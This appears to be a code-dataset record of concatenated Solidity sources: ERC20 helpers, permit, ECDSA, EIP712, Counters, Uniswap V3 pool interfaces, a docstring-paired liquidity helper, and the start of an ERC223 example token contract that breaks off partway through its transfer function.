_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) internal {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = _getChainId();
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
if (_getChainId() == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(
abi.encode(
typeHash,
name,
version,
_getChainId(),
address(this)
)
);
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
|
@notice Get the amounts of the given numbers of liquidity tokens @param tickLower The lower tick of the position @param tickUpper The upper tick of the position @param liquidity The amount of liquidity tokens @return Amount of token0 and token1
|
function _amountsForLiquidity(
int24 tickLower,
int24 tickUpper,
uint128 liquidity
) internal view returns (uint256, uint256) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
liquidity
);
}
| 17,151
|
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pragma solidity ^0.4.18;
contract Custodian {
// fallback for loancoin
function tokenFallback(address _address, uint256 _value, bytes _data) public {
}
}
contract RatelExampleToken {
// locked
mapping (address => uint256) public lockedValue;
// ERC20 State
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
uint256 public totalSupply;
// Human State
string public name;
uint8 public decimals;
string public symbol;
string public version;
// Minter Address
address public centralMinter;
// Custodian Address
address public custodianAddress;
// Backed By Ether State
uint256 public buyPrice;
uint256 public sellPrice;
// on sale?
bool public onSale;
// Modifiers: only Minter
modifier onlyMinter {
if (msg.sender != centralMinter) revert();
_;
}
// Modifiers: onSale?
modifier onlyOnSale {
if (onSale != true) revert();
_;
}
// ERC20 Events
event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// Constructor
function RatelExampleToken(uint256 _initialAmount) public {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = "Ratel Network Token";
decimals = 18;
symbol = "RNT";
version = "0.1";
centralMinter = msg.sender;
buyPrice = 100000000000000;
sellPrice = 99000000000000;
onSale = false;
}
// check if address is contract or not
function isContract(address _address) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_address)
}
if (length > 0) {
return true;
} else {
return false;
}
}
// ERC20 Methods
function balanceOf(address _address) constant public returns (uint256 balance) {
return balances[_address];
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowances[_owner][_spender];
}
// ERC 20
function transfer(address _to, uint256 _value) public returns (bool success) {
return transfer(_to, _value, "");
}
// ERC 223
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
if(balances[msg.sender] < _value) revert();
if(balances[_to] + _value < balances[_to]) revert();
balances[msg.sender] -= _value;
balances[_to] += _value;
Custodian receiver = Custodian(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
} else {
// nomal address
if(balances[msg.sender] < _value) revert();
if(balances[_to] + _value < balances[_to]) revert();
